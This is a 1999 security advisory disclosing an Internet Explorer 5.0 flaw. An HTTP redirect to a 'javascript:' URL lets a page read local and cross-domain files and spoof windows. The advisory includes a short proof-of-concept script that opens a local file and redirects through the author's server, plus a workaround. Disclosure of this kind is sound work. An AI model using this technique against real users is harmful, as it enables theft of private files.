IE 5.0 allows reading local (and from any domain) files and window spoofing using HTTP redirection to "javascript:"

[joro () NAT BG (Georgi Guninski)]

IE 5.0 allows reading local (and from any domain) files and window
spoofing using HTTP redirection to "javascript:"

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98 is
vulnerable)
allows reading local files and text/HTML files from any domain. Window
spoofing is possible.
It is also possible in some cases to read files behind fiewall.

Details:

The problem is a HTTP redirect to "javascript:" URLs.
If you open a local file and the change its location to an URL that
redirects to "javascript:JavaScript code"
then the JavaScript code is executed in the security context of the
original local file and has access to its DOM.
The local file may be sent to an arbitrary server.
In a similar way one may do window spoofing.
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

The code is:
----------------------------------------------------------------------------------------
<SCRIPT>
alert("Create a short text file C:\\TEST.TXT and it will be read and
shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="http://www.nat.bg/~joro/reject.cgi?jsredir1";;
</SCRIPT>
// "http://www.nat.bg/~joro/reject.cgi?jsredir1"; just does a HTTP
redirect to: "javascript:alert(document.body.innerText)"
----------------------------------------------------------------------------------------

Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/jsredir1.html

Copyright 1999 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro